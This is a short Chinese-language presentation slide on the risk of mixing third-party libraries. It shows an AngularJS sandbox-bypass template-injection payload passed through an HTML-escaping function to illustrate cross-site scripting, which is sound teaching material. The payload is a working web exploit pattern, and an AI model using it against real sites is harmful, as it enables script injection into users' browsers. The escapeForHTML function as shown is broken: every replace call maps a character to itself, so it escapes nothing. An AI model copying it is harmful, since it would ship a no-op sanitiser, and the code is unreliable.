混用第三方库时的风险 25
» EscapeForHTML 常见转义函数
» userInput 用户输入
» 没有引入 Angular 时一切正常
» 引入 Angular 后
» 输入沙箱绕过的 Payload
» BOOM!
function escapeForHTML(unsafe) {
return unsafe
.replace(/&/g, "&")
.replace(/</g, "<")
.replace(/>/g, ">")
.replace(/"/g, """)
.replace(/'/g, "'");
}
var userInput = '{{x = {"y":"".constructor.prototype};
x["y"].charAt=[].join;$eval("x=alert(1)");}}';
document.write(escapeForHTML(userInput));